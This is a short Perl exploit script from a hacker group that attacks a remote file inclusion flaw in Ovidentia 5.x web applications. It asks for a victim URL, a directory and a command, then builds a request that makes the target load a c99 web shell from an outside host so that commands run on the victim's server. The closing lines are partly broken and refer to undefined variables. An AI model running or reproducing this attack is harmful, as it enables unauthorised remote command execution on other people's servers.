#[ Author : H0tTurk-]
#[ Author2: Hotturk 
#[ web app : OVidentia 5.x Series Remote File İnclude ]
#[ My Site : WwW.H0tTurk.CoM ]
#[Referance:http://www.securityfocus.com/archive/1/456893
#[ Thanx : DrmaxVirus,GencTurk,Madconfig,EnjexioN,TiT,Kurtefendy,LuciferCihan,Arabian-FighterZ,Sawturk,Ayyıldız,OzelHarekatTim f4cked238 ]
# ________######________________
# ______##########______________
# _____#############____________
# ____##############____________
# ___#######______###___________
# ___######________##__##_______
# ___######____________###______
# ___#####___H0tTurk___######___
# ___#####____________#######___
# ___#####___________#######____
# ___#####____________######____
# ___#####_____________######___
# ___######____________###_##___
# ____######_______#___##_______
# ____#######____###____________
# _____############_____________
# ______##########______________
# ________######________________
#
# 
#
$rfi = "index.php?babInstallPath="; 
$path = "/";
$shell = "http://redhat.by.ru/c99.txt?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) H0tTurk\n";
&ex;
}
elsif($dil eq "Turkce"){
print "H0tTurk\n";
&ex;
}
else {print "Selection Language\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Evil Adress? with start http:// :" and $thx = "Good " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Not Found\n" and $not_cmd = "Error Rfi\n"
and $vic = "Example http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Sagol " and $komt = "Command?:"
if $dil eq "Turkce";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) H0tTurk AyT\n$g3rt: Drmax\n";
sleep 3;
system("start $wait");
}